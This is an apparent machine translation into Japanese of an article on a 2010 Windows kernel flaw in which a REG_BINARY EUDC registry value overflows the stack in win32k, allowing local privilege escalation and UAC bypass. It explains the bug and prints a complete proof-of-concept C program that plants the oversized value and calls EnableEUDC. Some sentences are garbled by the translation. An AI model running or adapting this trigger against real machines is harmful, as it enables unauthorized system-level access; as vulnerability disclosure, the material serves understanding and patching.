新しい脆弱性により、Win7 / VistaでUACをバイパスして特権が昇格される
システムレベルのローカル権限を増加させる興味深い脆弱性が、コードプロジェクト(http://www.codeproject.com/KB/vista-security/uac.aspx)の記事として11月24日に登場しました。 ほんの数時間後、このリソースから削除されましたが、情報はすでにネットワーク全体に広がっていたため、削除することは無意味でした。 XPからVista / Win7までのシステムで権限を増やすことができ、サーバーバージョンも攻撃を受けています。 さらに興味深いことに、この脆弱性はx86システムとx64の両方に関連しています。 確かに、提示された
PoCコードはx86システムでのみ正常に起動されました。
この理由は、WinAPI関数
RtlQueryRegistryValues()パラメーターの制御が不十分であるためです。
NTSTATUS RtlQueryRegistryValues(
__in ULONG RelativeTo,
__in PCWSTR Path,
__inout PRTL_QUERY_REGISTRY_TABLE QueryTable,
__in_opt PVOID Context,
__in_opt PVOID Environment
);この関数は、複数のレジストリパラメータを一度に取得し、
_RTL_QUERY_REGISTRY_TABLE構造体に結果を
_RTL_QUERY_REGISTRY_TABLEするために使用されます。
typedef struct _RTL_QUERY_REGISTRY_TABLE {
PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine;
ULONG Flags;
PWSTR Name;
PVOID EntryContext;
ULONG DefaultType;
PVOID DefaultData;
ULONG DefaultLength;
} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE;EntryContextフィールドでは、この構造から出力バッファーのタイプが決定され、ここで興味深いニュアンスが
ULONGます。バッファーは
ULONG構造または
ULONG値のバッファーとして解釈できます。
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;このバッファーを埋めることにより、要求が行われたレジストリキーの種類が決定されます。 すべて問題ありませんが、レジストリキー
HKCU\EUDC\[Language]\SystemDefaultEUDCFon tが見つかりました。これは、ユーザー権限でのみアクセスでき、
Win32k.sys->NtGdiEnableEudc()呼び出すことで
REG_BINARY変更できます。 この関数の操作中、最初の
ULONG値がバッファー長を解釈する
UNICODE_STRING構造として、
REG_SZレジストリ値とバッファーがスタックに配置されると想定され
REG_BINARYが、レジストリ値が
REG_BINARYとして提示される場合、従来のスタックオーバーフローが発生します。

これらすべてのニュアンスを考慮して、PoC(by noobpwnftw)が開発されました。これは、スタック上の戻りアドレスを上書きするレジストリの値を形成し、カーネルモードのコードで任意のバッファーを実行します。
脆弱性の詳細な説明は
こちらにあり
ます。http://www.kb.cert.org/vuls/id/529673http://secunia.com/advisories/42356d_olexからの代替PoC(
オリジナル ):
#define EUDC_FONT_VAL "SystemDefaultEUDCFont"
int _tmain( int argc, _TCHAR* argv[])
{
HKEY hKey;
char szKeyName[MAX_PATH], Buff[0x600];
sprintf_s(szKeyName, MAX_PATH, "EUDC\\%d" , GetACP());
//
LONG Code = RegCreateKey(HKEY_CURRENT_USER, szKeyName, &hKey);
if (Code != ERROR_SUCCESS)
{
printf( "ERROR: RegCreateKey() fails with status %d\n" , Code);
return -1;
}
//
RegDeleteValue(hKey, EUDC_FONT_VAL);
// "SystemDefaultEUDCFont" REG_BINARY
FillMemory(Buff, sizeof (Buff), 'A' );
Code = RegSetValueEx(hKey, EUDC_FONT_VAL, 0, REG_BINARY, Buff, 0x600);
RegCloseKey(hKey);
if (Code != ERROR_SUCCESS)
{
printf( "ERROR: RegSetValueEx() fails with status %d\n" , Code);
return -1;
}
//
EnableEUDC(TRUE);
return 0;
}
Source: https://habr.com/ru/post/J108903/
All Articles